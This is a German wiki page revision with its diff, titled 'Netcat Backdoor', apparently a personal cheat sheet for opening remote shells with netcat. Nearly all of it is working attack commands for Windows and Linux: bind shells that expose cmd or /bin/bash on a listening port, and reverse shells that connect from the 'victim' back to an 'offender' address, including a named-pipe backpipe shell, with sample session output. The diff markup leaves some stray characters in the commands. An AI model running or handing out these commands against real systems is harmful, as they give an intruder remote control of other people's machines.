Netcat Backdoor: Unterschied zwischen den Versionen

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==Download==
 
==Download==
 
*https://github.com/interference-security/netcat-windows
 
*https://github.com/interference-security/netcat-windows
==Victim==
+
==Open Port==
*C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd
+
===Victim===
==Offender==
+
*C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd=
 +
==Offender===
 
MSVICTIM=10.1.1.4
 
MSVICTIM=10.1.1.4
 
*oesx:~ thomas$ nc $MSVICTIM 10011
 
*oesx:~ thomas$ nc $MSVICTIM 10011
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  C:\Users\admin\Downloads>
 
  C:\Users\admin\Downloads>
 +
==Classic Backdoor==
 +
*C:\Users\admin\Downloads>nc -e cmd 10.82.10.20 9999
  
 
=Linux=
 
=Linux=

Version vom 14. November 2017, 06:36 Uhr

Windows

Download

Open Port

Victim

  • C:\Users\admin\Downloads>nc -L -p 10011 -d -e cmd=

Offender=

MSVICTIM=10.1.1.4

  • oesx:~ thomas$ nc $MSVICTIM 10011
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

C:\Users\admin\Downloads>

Classic Backdoor

  • C:\Users\admin\Downloads>nc -e cmd 10.82.10.20 9999

Linux

with netcat-traditional

  • root@victim:~# nc.traditional -l -p 10001 -e /bin/bash
  • root@offender:~# netcat 10.1.1.1 10001

with netcat-traditional

  • root@offender:~# netcat -l -p 10002
  • root@victim:~# nc.traditional -c /bin/sh 10.1.1.2 10002

with netcat-openbsd

VICTIM=10.1.1.1 OFFENDER=10.1.1.2

  • root@offender:~# nc -nvlp 8668
  • root@victim:~# mknod /tmp/backpipe
  • root@victim:~# /bin/sh 0</tmp/backpipe | nc $OFFENDER 8668 1>/tmp/backpipe
  • root@offender:~# nc -nvlp 8668
listening on [any] 8668 ...
connect to [10.1.1.2] from (UNKNOWN) [10.1.1.1] 54154

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